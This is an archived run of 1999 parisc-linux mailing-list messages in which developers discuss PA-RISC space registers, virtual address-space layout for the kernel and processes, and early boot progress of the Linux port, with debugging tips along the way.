	for <parisc-linux@thepuffingroup.com>; Wed, 17 Nov 1999 17:35:52 -0800 (PST)
Original-Received: from hp.com (localhost [127.0.0.1]) by xsvr4.cup.hp.com with ESMTP (8.7.6/8.7.3) id RAA12726 for <parisc-linux@thepuffingroup.com>; Wed, 17 Nov 1999 17:35:52 -0800 (PST)
Original-Sender: frowand@cup.hp.com
X-Mailer: Mozilla 4.05 [en] (X11; I; HP-UX B.10.20 9000/869)
Xref: news.gmane.org gmane.linux.ports.parisc:6454

Frank Rowand wrote:
> 

> When address translation is enabled, a space register is *always* used.

Ok, ok, slight overstatement.  Of course the various load absolute
instructions don't use space registers...

-Frank


From - Thu Nov 08 21:11:16 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] depi?
Date: Thu, 18 Nov 1999 00:33:10 -0500 (EST)
Lines: 83
Approved: news@gmane.org
Message-ID: <199911180533.AAA01349@hiauly1.hia.nrc.ca>
References: <38334BA5.BAA898D@hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416618650 28435 80.91.229.3 (22 Nov 2014 01:10:50 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:10:50 +0000 (UTC)
Cc: Philipp.H.Rumpf@mathe.stud.uni-erlangen.de, sieler@allegro.com,
        parisc-linux@thepuffingroup.com
To: frowand@cup.hp.com
Original-X-From: dave@hiauly1.hia.nrc.ca  Wed Nov 17 22:34:11 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id WAA21502
	for <parisc-linux@puffin.external.hp.com>; Wed, 17 Nov 1999 22:34:11 -0700
Original-Received: (qmail 18132 invoked by uid 15267); 18 Nov 1999 05:35:48 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 18125 invoked from network); 18 Nov 1999 05:35:48 -0000
Original-Received: from hiauly1.hia.nrc.ca (132.246.44.13)
  by mailserv2.iuinc.com with SMTP; 18 Nov 1999 05:35:48 -0000
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.9.3/8.9.3) id AAA01349;
	Thu, 18 Nov 1999 00:33:10 -0500 (EST)
In-Reply-To: <38334BA5.BAA898D@hp.com> from "Frank Rowand" at Nov 17, 99 04:43:17 pm
X-Mailer: ELM [version 2.4 PL25]
Xref: news.gmane.org gmane.linux.ports.parisc:6455

> 
> Philipp Rumpf wrote:
> > 
> > > I must be missing something...the above should branch
> > > to: sr7.0xc008dbc0, not to "0xc008dbc0".  I.e., you specified SR7
> > > in the BE instruction, so it gets used.

I agree.  The contents of SR7 is loaded into the instruction space id
queue.

The example was a stub.  Stubs are generated by the compiler/linker
when a relative branch is too far.  The BE instruction was used (as
opposed to a BL instruction) to allow the branch to go anywhere within
the assumed 4GB address space model.  The linker used SR7 because
it determined that the branch was to an address in the 4th quadrant
of the 4GB address space.

> > 
> > No, we didn't.  We set the space register selection field to '00' which
> > according to the documentation means you select SR7 but in reality means
> > you don't want to have anything to do with space registers.  Just think
> > of it as flat address 0xc008dbc0 and of SR[123]:0xc008dbc0 as "real"
> > segmented addresses.

This is only for data accesses.  Instructions use the full space register
specifications.  When an interspace branch is taken with sr7, for example,
the contents of sr7 becomes the new contents of the space id queue. 

> When address translation is enabled, a space register is *always* used.
> You cannot turn that off.  Specifying '00' in the space register
> select bits really does mean that you use space register 7 to calculate
> the 64 bit virtual address.  (Humor me, and pretend that all
> implementations of space registers are 32 bits, even though they aren't.)
> 
> If you "don't want to have anything to do with space registers", you
> can put the same value (such as zero) in all of the space registers.
> 
> 
> > > So, SR7 indeed needs to be set correctly...but since I haven't
> > > looked at the surrounding code...
> > 
> > SR0, SR4, SR5, SR6, SR7 shouldn't ever need to be set to different values
> > for flat 4 gig code.  SR1, SR2, SR3 you use only for "real" segmented code.
> > 
> > (This is based on what the C compiler does, and what changed with PA2.0)
> > 
> >         Philipp Rumpf
> 
> I don't understand.  Are you saying that there is a single 4gByte virtual
> address range that is shared by the kernel and all user processes?  Or
> do you plan to provide a separate 4gByte virtual address range to each
> process/task/thread/whatever?

I think what is being suggested is to run with the space registers all
zero and swap the TLB contents on context switches in order to changing
the mapping from virtual to physical.  However, I doubt this is efficient.

On the otherhand, the space registers could be swapped on context switches,
and the kernel and each process could have their own 4GB virtual space.  The
mapping of program virtual addresses to hardware virtual addresses would
still be flat. I can't see any reason to segment the address space since
the hardware virtual address space is large enough to accomodate more
processes than would ever be needed.  I assume here that we aren't concerned
with running on level 0 machines without space registers.  In this scenario,
cache usage would reflect the scheduling priorities of the OS.

I stress that, because the PA architecture has space registers, a program's
virtual address space (0 - 4GB) doesn't have to be the same as its hardware
virtual address space.

My original point was that I couldn't see where the space registers were
initialized prior to the transition to virtual operation.  They may in
fact be initialized to zero by the boot loader prior to transfer to the
kernel (cf., head.S).

Does the above suggestion regarding the usage of space registers make any
sense?

Dave
-- 
J. David Anglin                                  dave.anglin@nrc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6605)


From - Thu Nov 08 21:11:16 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Philippe Benard <phi@hpfrcu03.france.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] depi?
Date: Thu, 18 Nov 1999 09:02:38 +0100
Organization: WTEC
Lines: 75
Approved: news@gmane.org
Message-ID: <3833B29E.5793D0E6@hpfrcu03.france.hp.com>
References: <199911180533.AAA01349@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416618651 28439 80.91.229.3 (22 Nov 2014 01:10:51 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:10:51 +0000 (UTC)
Cc: frowand@cup.hp.com, Philipp.H.Rumpf@mathe.stud.uni-erlangen.de,
        sieler@allegro.com, parisc-linux@thepuffingroup.com
To: John David Anglin <dave@hiauly1.hia.nrc.ca>
Original-X-From: phi@hpfrcu03.france.hp.com  Thu Nov 18 00:58:33 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id AAA22016
	for <parisc-linux@puffin.external.hp.com>; Thu, 18 Nov 1999 00:58:33 -0700
Original-Received: (qmail 12901 invoked by uid 15267); 18 Nov 1999 08:00:13 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 12891 invoked from network); 18 Nov 1999 08:00:11 -0000
Original-Received: from palrel1.hp.com (156.153.255.242)
  by mailserv2.iuinc.com with SMTP; 18 Nov 1999 08:00:11 -0000
Original-Received: from iws1pb01.france.hp.com (iws1pb01.france.hp.com [15.124.72.10])
	by palrel1.hp.com (Postfix) with ESMTP
	id 00AA570B; Thu, 18 Nov 1999 00:00:06 -0800 (PST)
Original-Received: from hpfrcu03.france.hp.com (localhost [127.0.0.1]) by iws1pb01.france.hp.com with ESMTP (8.7.1/8.7.1) id JAA01205; Thu, 18 Nov 1999 09:02:39 +0100 (MET)
Original-Sender: phi@hpfrcu81.france.hp.com
X-Mailer: Mozilla 4.7 [en] (X11; I; HP-UX B.10.20 9000/712)
X-Accept-Language: en
Xref: news.gmane.org gmane.linux.ports.parisc:6456

John David Anglin wrote:
> 
> I think what is being suggested is to run with the space registers all
> zero and swap the TLB contents on context switches in order to changing
> the mapping from virtual to physical.  However, I doubt this is efficient.

This is what I undesrtand now too, at first I though it was flat 4Gb shared
between the OS and the processes (ala 2Gb each), then space flip enter in
action with flat 4Gb per threads (pardon proceses for now), and then a flat
4Gb for the kernel itself.

I don't really see the implementation of a previous mail of someone saying the
user VAS quad usage would be TEXT/DATA/SHARED1/SHARE2 if all the SR's are the
same, I still have some ProtID problem I don't see how efficiently sharing is
implemented (TEXT/SHARED1/SHARED2). I bet this is adressed, I just don't have
the design document.

And more than that, context switching is a pain on all machine, register
save/restore, priv promot, etc... cost a lot, I don't see a global TLB purge
on context switch as a booster (again assuming it is what happen)

And my last point with no proof.
1) If now processes and the OS have a flat 4Gb in front of them, then the OS
can be located anywhere (beside some things like 0 for NULL deref traping) i.e
any quad

2) If a concept like equivalently map exist, it may or may not provide a gain.
This is a degree of liberty.

3) Choosing to locate the kernel text in second, third or fourth quad prevent
using of equiv mem. remove 1 degre of liberty.

4) For now it is claimed that equiv mem address non-existing problem (sic),
then is useless, then not considered, then any quad could be choosen and the
one choosen is the one that remove the equiv map potential, actually since
there are 4 quad and the quad came from a red hat, we got 3 chances over 4 to
get one that will remove us 1 degree of liberty.

My feeling is since equiv map doesn't seems to be needed in this
implementation, and since it was written that any quad could have been
choosen, I would have choosen the one that still allow me to have quiv mem
should a boo boo happen and made it necessary, in other words I like to keep
my degree of liberty even if I'm not using it (for now).

------------------------------------------

Designing a ASL (addr space layout) implementation onto an architecture
(specially this one) is something tough, and not uniq. For instance designing
the ASL for 64bit wide for HP-UX (with the constraint of being able to run
narrow process un-recompiled) was pretty interesting and did provide several
options. 

I admit I didn't browse the web that much but will accept any pointer, for now
I desesperatly looking at the puffin/doc page and see nothing but pure HP doc,
no linux design options. What I'd like is a document that gives the design
orientation, all this discovery about space usage is pure guessing from mail
to mail, boucing from 1 flat 4Gb for all to 4Gb per process/kernel.

Some may say, linux is not doc, it is hack n run, but on the long run I'm
affraid that hack n run will type more text (try and fail code) than writing
the design options. For instance the ASL document for HP-UX wide is 22 pages
total, with TOC and figures, and pseudo-code algorithm.
Remember Djikstra (well the old timer may, the bambinos may take Kurt Cobain
as an example :-) "You should pay the programmers a very good salary, don't
hesitate to bump their salary, BUT make them pay any puch in their punched
card" The idea behind, think before code after, Kurt tried it the other way,
he choose to shoot first and think after oops :-)

Actually I did find a book on linux internals (some years ago) that did speak
a bit about VAS, but the arch indep part speak a lot about design option based
on x86 and MMU) which definilty doesn't apply here then not so indep...


Phi


From - Thu Nov 08 21:11:16 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] depi?
Date: Thu, 18 Nov 1999 15:37:41 -0500 (EST)
Lines: 109
Approved: news@gmane.org
Message-ID: <199911182037.PAA02238@hiauly1.hia.nrc.ca>
References: <3833B29E.5793D0E6@hpfrcu03.france.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416618651 28441 80.91.229.3 (22 Nov 2014 01:10:51 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:10:51 +0000 (UTC)
Cc: frowand@cup.hp.com, Philipp.H.Rumpf@mathe.stud.uni-erlangen.de,
        sieler@allegro.com, parisc-linux@thepuffingroup.com
To: phi@hpfrcu03.france.hp.com (Philippe Benard)
Original-X-From: dave@hiauly1.hia.nrc.ca  Thu Nov 18 13:42:35 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id NAA25672
	for <parisc-linux@puffin.external.hp.com>; Thu, 18 Nov 1999 13:42:35 -0700
Original-Received: (qmail 30739 invoked by uid 15267); 18 Nov 1999 20:44:16 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 30732 invoked from network); 18 Nov 1999 20:44:16 -0000
Original-Received: from hiauly1.hia.nrc.ca (132.246.44.13)
  by mailserv2.iuinc.com with SMTP; 18 Nov 1999 20:44:16 -0000
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.9.3/8.9.3) id PAA02238;
	Thu, 18 Nov 1999 15:37:41 -0500 (EST)
In-Reply-To: <3833B29E.5793D0E6@hpfrcu03.france.hp.com> from "Philippe Benard" at Nov 18, 99 09:02:38 am
X-Mailer: ELM [version 2.4 PL25]
Xref: news.gmane.org gmane.linux.ports.parisc:6457

> 
> John David Anglin wrote:
> > 
> > I think what is being suggested is to run with the space registers all
> > zero and swap the TLB contents on context switches in order to changing
> > the mapping from virtual to physical.  However, I doubt this is efficient.
> 
> This is what I undesrtand now too, at first I though it was flat 4Gb shared
> between the OS and the processes (ala 2Gb each), then space flip enter in
> action with flat 4Gb per threads (pardon proceses for now), and then a flat
> 4Gb for the kernel itself.

The architecture that I proposed was suggested by figure 3-1 of the
Precision Architecture and Instruction Set Manual (1989).  On a level 1
machine there 2**16-1 virtual 4GB spaces.  Thus, each process can
have its own virtual space.  The physical page directory contains
the mapping for the kernel and all processes.  The algorithm for
updating the TLB(s) from the page directory is very important for
efficiency and also for security.

I assume threads will run in a processes virtual space for efficiency.

> I don't really see the implementation of a previous mail of someone saying the
> user VAS quad usage would be TEXT/DATA/SHARED1/SHARE2 if all the SR's are the
> same, I still have some ProtID problem I don't see how efficiently sharing is
> implemented (TEXT/SHARED1/SHARED2). I bet this is adressed, I just don't have
> the design document.

This was me again.  The TEXT/DATA/SHARED1/SHARE2 architecture is described
in the 32-bit PA-RISC Runtime Architecture Document.  It is how hpux 10.20
does it.  Take a look at Table 1, "Space Register Usage".  However, it doesn't
really tell you anything about the OS implementation details.  I do know
that hpux uses different spaces for text and data.  As a result, branches
that cross quadrants must be interspace branches.  The space of the caller
must be saved and restored on return.  If the same space id is used in SR4-SR7
for any given process, then I don't think it would be necessary to save
and restore the instruction space register across calls except for system
calls where the virtual space changes.

The one advantage to reserving the fourth quadrant for the OS is that in
a system call the OS has direct access to the first three quadrants
of the processes address space as well as its own space.  What I am
suggesting here is that the TLB page table mapping for the fourth quadrant
would be more or less the same except for access rights for the kernel
and user processes.  Of course, hardware registers wouldn't be mapped
in process space.  There could be a gateway page that messes with the
mapping to allow the kernel to run at a different location.  But then
I think the system would have a more difficult job in accessing user
virtual space.  Possibly, some special provisions would have to be made
for PDC calls in virtual mode.

I know that there are restrictions using mmap with hpux 10.X.  More or
less, the problem is that you can't put a shared data area where you want
and this causes problems with many apps that assume a more general
implementation.  The system chooses where shared data goes.  This needs
to be looked at in more detail.

SR0 to SR4 can be changed by a non-privileged process.  Thus, access
identities have to be setup properly to prevent a process from flipping
through the virtual address space and doing bad stuff.  The OS must also
be prepared for a process that messes with SR4.  A nasty process might
be able change the space id in SR4 to that of another process or the
kernel, and do a system call that writes to this region.

For PA_RISC 2.0, the architecture is changed for 64-bit operation.  I quote

	"The OS will use a different address space layout for 64-bit processes,
	so we will not be able to specify that main program text is at the
	low end of Quadrant 0, nor will we be able to use absolute addressing
	at all.  This will affect millicode calls, long calls, plabel
	materialization, and non-PIC literal references.

	Compilers must avoid any explicit reference to space registers, so
	there is no need to specify any association between particular
	segments and quadrants of the address space."

Further, the 64-bit architecture defines a single PIC compilation model.
I have to say that the 64-bit document as of Version 3.3 (1997) is vague.

Probably, we should ignore the 64 bit issues and use an architecture
that is good for 32 bit level 1 machines and above.

> ------------------------------------------

> Some may say, linux is not doc, it is hack n run, but on the long run I'm
> affraid that hack n run will type more text (try and fail code) than writing
> the design options. For instance the ASL document for HP-UX wide is 22 pages
> total, with TOC and figures, and pseudo-code algorithm.
> Remember Djikstra (well the old timer may, the bambinos may take Kurt Cobain
> as an example :-) "You should pay the programmers a very good salary, don't
> hesitate to bump their salary, BUT make them pay any puch in their punched
> card" The idea behind, think before code after, Kurt tried it the other way,
> he choose to shoot first and think after oops :-)

Agree totally.

In summary, I think that each process slot should be assigned a unique
space id.  At least initially, the same id would be used for SR4-SR7 in
each process.  Link the OS at 0xc0000000 and go with a 3GB process/1GB OS
virtual address model.  All the physical memory in the machine can 
therefore be used, up to the ~ 4GB limit in the PA 1.X architecture.
I think this model is compatible with the PA 1.1 architecture and hopefully
also the x86 architecture.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6605)


From - Thu Nov 08 21:11:16 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Frank Rowand <frank_rowand@hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] depi?
Date: Thu, 18 Nov 1999 14:38:45 -0800
Lines: 117
Approved: news@gmane.org
Message-ID: <38347FF5.B1C230F6@hp.com>
References: <199911182037.PAA02238@hiauly1.hia.nrc.ca>
Reply-To: frowand@cup.hp.com
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416618651 28442 80.91.229.3 (22 Nov 2014 01:10:51 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:10:51 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: frank_rowand@hp.com  Thu Nov 18 15:37:21 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id PAA26772
	for <parisc-linux@puffin.external.hp.com>; Thu, 18 Nov 1999 15:37:20 -0700
Original-Received: (qmail 16803 invoked by uid 15267); 18 Nov 1999 22:38:59 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 16794 invoked from network); 18 Nov 1999 22:38:58 -0000
Original-Received: from palrel1.hp.com (156.153.255.242)
  by mailserv2.iuinc.com with SMTP; 18 Nov 1999 22:38:58 -0000
Original-Received: from xsvr4.cup.hp.com (xsvr4.cup.hp.com [15.0.68.169])
	by palrel1.hp.com (Postfix) with ESMTP id 42465352
	for <parisc-linux@thepuffingroup.com>; Thu, 18 Nov 1999 14:38:46 -0800 (PST)
Original-Received: from hp.com (localhost [127.0.0.1]) by xsvr4.cup.hp.com with ESMTP (8.7.6/8.7.3) id OAA02977 for <parisc-linux@thepuffingroup.com>; Thu, 18 Nov 1999 14:38:45 -0800 (PST)
Original-Sender: frowand@cup.hp.com
X-Mailer: Mozilla 4.05 [en] (X11; I; HP-UX B.10.20 9000/869)
Xref: news.gmane.org gmane.linux.ports.parisc:6458

John David Anglin wrote:
> 
> >
> > John David Anglin wrote:
> > >
> > > I think what is being suggested is to run with the space registers all
> > > zero and swap the TLB contents on context switches in order to changing
> > > the mapping from virtual to physical.  However, I doubt this is efficient.
> >
> > This is what I undesrtand now too, at first I though it was flat 4Gb shared
> > between the OS and the processes (ala 2Gb each), then space flip enter in
> > action with flat 4Gb per threads (pardon proceses for now), and then a flat
> > 4Gb for the kernel itself.
> 
> The architecture that I proposed was suggested by figure 3-1 of the
> Precision Architecture and Instruction Set Manual (1989).  On a level 1
> machine there 2**16-1 virtual 4GB spaces.  Thus, each process can
> have its own virtual space.  The physical page directory contains
> the mapping for the kernel and all processes.  The algorithm for
> updating the TLB(s) from the page directory is very important for
> efficiency and also for security.
> 
> I assume threads will run in a processes virtual space for efficiency.
> 
> > I don't really see the implementation of a previous mail of someone saying the
> > user VAS quad usage would be TEXT/DATA/SHARED1/SHARE2 if all the SR's are the
> > same, I still have some ProtID problem I don't see how efficiently sharing is
> > implemented (TEXT/SHARED1/SHARED2). I bet this is adressed, I just don't have
> > the design document.
> 
> This was me again.  The TEXT/DATA/SHARED1/SHARE2 architecture is described
> in the 32-bit PA-RISC Runtime Architecture Document.  It is how hpux 10.20
> does it.  Take a look at Table 1, "Space Register Usage".  However, it doesn't
> really tell you anything about the OS implementation details.  I do know
> that hpux uses different spaces for text and data.  As a result, branches
> that cross quadrants must be interspace branches.  The space of the caller
> must be saved and restored on return.  If the same space id is used in SR4-SR7
> for any given process, then I don't think it would be necessary to save
> and restore the instruction space register across calls except for system
> calls where the virtual space changes.
> 
> The one advantage to reserving the fourth quadrant for the OS is that in
> a system call the OS has direct access to the first three quadrants
> of the processes address space as well as its own space.  What I am
> suggesting here is that the TLB page table mapping for the fourth quadrant
> would be more or less the same except for access rights for the kernel
> and user processes.  Of course, hardware registers wouldn't be mapped
> in process space.  There could be a gateway page that messes with the
> mapping to allow the kernel to run at a different location.  But then
> I think the system would have a more difficult job in accessing user
> virtual space.  Possibly, some special provisions would have to be made
> for PDC calls in virtual mode.
> 
> I know that there are restrictions using mmap with hpux 10.X.  More or
> less, the problem is that you can't put a shared data area where you want
> and this causes problems with many apps that assume a more general
> implementation.  The system chooses where shared data goes.  This needs
> to be looked at in more detail.
> 
> SR0 to SR4 can be changed by a non-privileged process.  Thus, access
> identities have to be setup properly to prevent a process from flipping
> through the virtual address space and doing bad stuff.  The OS must also
> be prepared for a process that messes with SR4.  A nasty process might
> be able change the space id in SR4 to that of another process or the
> kernel, and do a system call that writes to this region.
> 
> For PA_RISC 2.0, the architecture is changed for 64-bit operation.  I quote


Just to avoid confusion, the following quote is from the 64-Bit Runtime
Architecture, and applies to  *** 'user-mode applications running in "Wide"
mode' ***.


>         "The OS will use a different address space layout for 64-bit processes,
>         so we will not be able to specify that main program text is at the
>         low end of Quadrant 0, nor will we be able to use absolute addressing
>         at all.  This will affect millicode calls, long calls, plabel
>         materialization, and non-PIC literal references.
> 
>         Compilers must avoid any explicit reference to space registers, so
>         there is no need to specify any association between particular
>         segments and quadrants of the address space."
> 
> Further, the 64-bit architecture defines a single PIC compilation model.
> I have to say that the 64-bit document as of Version 3.3 (1997) is vague.
> 
> Probably, we should ignore the 64 bit issues and use an architecture
> that is good for 32 bit level 1 machines and above.
> 
> > ------------------------------------------
> 
> > Some may say, linux is not doc, it is hack n run, but on the long run I'm
> > affraid that hack n run will type more text (try and fail code) than writing
> > the design options. For instance the ASL document for HP-UX wide is 22 pages
> > total, with TOC and figures, and pseudo-code algorithm.
> > Remember Djikstra (well the old timer may, the bambinos may take Kurt Cobain
> > as an example :-) "You should pay the programmers a very good salary, don't
> > hesitate to bump their salary, BUT make them pay any puch in their punched
> > card" The idea behind, think before code after, Kurt tried it the other way,
> > he choose to shoot first and think after oops :-)
> 
> Agree totally.
> 
> In summary, I think that each process slot should be assigned a unique
> space id.  At least initially, the same id would be used for SR4-SR7 in
> each process.  Link the OS at 0xc0000000 and go with a 3GB process/1GB OS
> virtual address model.  All the physical memory in the machine can
> therefore be used, up to the ~ 4GB limit in the PA 1.X architecture.
> I think this model is compatible with the PA 1.1 architecture and hopefully
> also the x86 architecture.
> 
> Dave
> --
> J. David Anglin                                  dave.anglin@nrc.ca
> National Research Council of Canada              (613) 990-0752 (FAX: 952-6605)


From - Thu Nov 08 21:11:16 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Progress
Date: Thu, 18 Nov 1999 18:16:42 -0500 (EST)
Lines: 22
Approved: news@gmane.org
Message-ID: <199911182316.SAA01297@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416618652 28445 80.91.229.3 (22 Nov 2014 01:10:52 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:10:52 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: dave@hiauly1.hia.nrc.ca  Thu Nov 18 16:15:12 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id QAA27478
	for <parisc-linux@puffin.external.hp.com>; Thu, 18 Nov 1999 16:15:12 -0700
Original-Received: (qmail 363 invoked by uid 15267); 18 Nov 1999 23:16:43 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 356 invoked from network); 18 Nov 1999 23:16:43 -0000
Original-Received: from hiauly1.hia.nrc.ca (132.246.44.13)
  by mailserv2.iuinc.com with SMTP; 18 Nov 1999 23:16:43 -0000
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.9.3/8.9.3) id SAA01297
	for parisc-linux@thepuffingroup.com; Thu, 18 Nov 1999 18:16:42 -0500 (EST)
X-Mailer: ELM [version 2.4 PL25]
Xref: news.gmane.org gmane.linux.ports.parisc:6459

With today's cvs patches, things are going better.  The kernel booted
to the following point:

...
VFS: Mounted root (ext2 filesystem)
Warning: unable to open an initial console.
Attempting to execute '/sbin/init'
It seems to be a valid SOM executable.

I am using the PDC_CONSOLE.  I think there was a changed needed to allow
opening the PDC_CONSOLE that was discussed previously.  Does anybody
remember?  Maybe with this change I can get to sash.

I also need to slow down the console messages.

The space registers are all zero.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6605)


From - Thu Nov 08 21:11:16 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Philipp Rumpf <Philipp.H.Rumpf@mathe.stud.uni-erlangen.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Progress
Date: Fri, 19 Nov 1999 04:30:37 +0100
Lines: 28
Approved: news@gmane.org
Message-ID: <19991119043037.B941@mathe.stud.uni-erlangen.de>
References: <199911182316.SAA01297@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416618652 28447 80.91.229.3 (22 Nov 2014 01:10:52 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:10:52 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: John David Anglin <dave@hiauly1.hia.nrc.ca>
Original-X-From: prumpf@abacus.uni-erlangen.de  Thu Nov 18 20:27:46 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id UAA28384
	for <parisc-linux@puffin.external.hp.com>; Thu, 18 Nov 1999 20:27:45 -0700
Original-Received: (qmail 12113 invoked by uid 15267); 19 Nov 1999 03:29:20 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 12106 invoked from network); 19 Nov 1999 03:29:19 -0000
Original-Received: from max5.rrze.uni-erlangen.de (root@131.188.3.50)
  by mailserv2.iuinc.com with SMTP; 19 Nov 1999 03:29:19 -0000
Original-Received: from [10.10.213.163] by max5.rrze.uni-erlangen.de with ESMTP; Fri, 19 Nov 1999 04:29:17 +0100
Original-Received: (from prumpf@localhost)
	by abacus (8.9.3/8.9.3) id EAA00981;
	Fri, 19 Nov 1999 04:31:38 +0100
X-Mailer: Mutt 1.0pre3us
In-Reply-To: <199911182316.SAA01297@hiauly1.hia.nrc.ca>
Xref: news.gmane.org gmane.linux.ports.parisc:6460

> VFS: Mounted root (ext2 filesystem)
> Warning: unable to open an initial console.
> Attempting to execute '/sbin/init'
> It seems to be a valid SOM executable.
> 
> I am using the PDC_CONSOLE.  I think there was a changed needed to allow
> opening the PDC_CONSOLE that was discussed previously.  Does anybody
> remember?  Maybe with this change I can get to sash.

edit arch/parisc/boot/boot_code/ipl_c.c and replace the "ttyS0" in the command
line with "tty".  Alternatively, boot in interactive mode and edit the command
line (again replacing "ttyS0" with "tty").

That should get you to an (most likely unusable) shell prompt.

> I also need to slow down the console messages.

edit arch/parisc/kernel/pdc_cons.c and put a __delay(N); in pdc_putc.  N is
approximately the number of CPU cycles you want to wait.  I suggest placing
it directly after the "case 'n':" as that gives you a per-line delay instead
of a per-character one.

> The space registers are all zero.

They always are, currently (this needs to, and will, change).

	Philipp Rumpf


From - Thu Nov 08 21:11:16 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Philipp Rumpf <Philipp.H.Rumpf@mathe.stud.uni-erlangen.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] depi?
Date: Fri, 19 Nov 1999 05:12:37 +0100
Lines: 133
Approved: news@gmane.org
Message-ID: <19991119051237.C941@mathe.stud.uni-erlangen.de>
References: <3833B29E.5793D0E6@hpfrcu03.france.hp.com> <199911182037.PAA02238@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416618652 28453 80.91.229.3 (22 Nov 2014 01:10:52 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:10:52 +0000 (UTC)
Cc: Philippe Benard <phi@hpfrcu03.france.hp.com>, frowand@cup.hp.com,
        Philipp Heinrich Rumpf <Philipp.H.Rumpf@mathe.stud.uni-erlangen.de>,
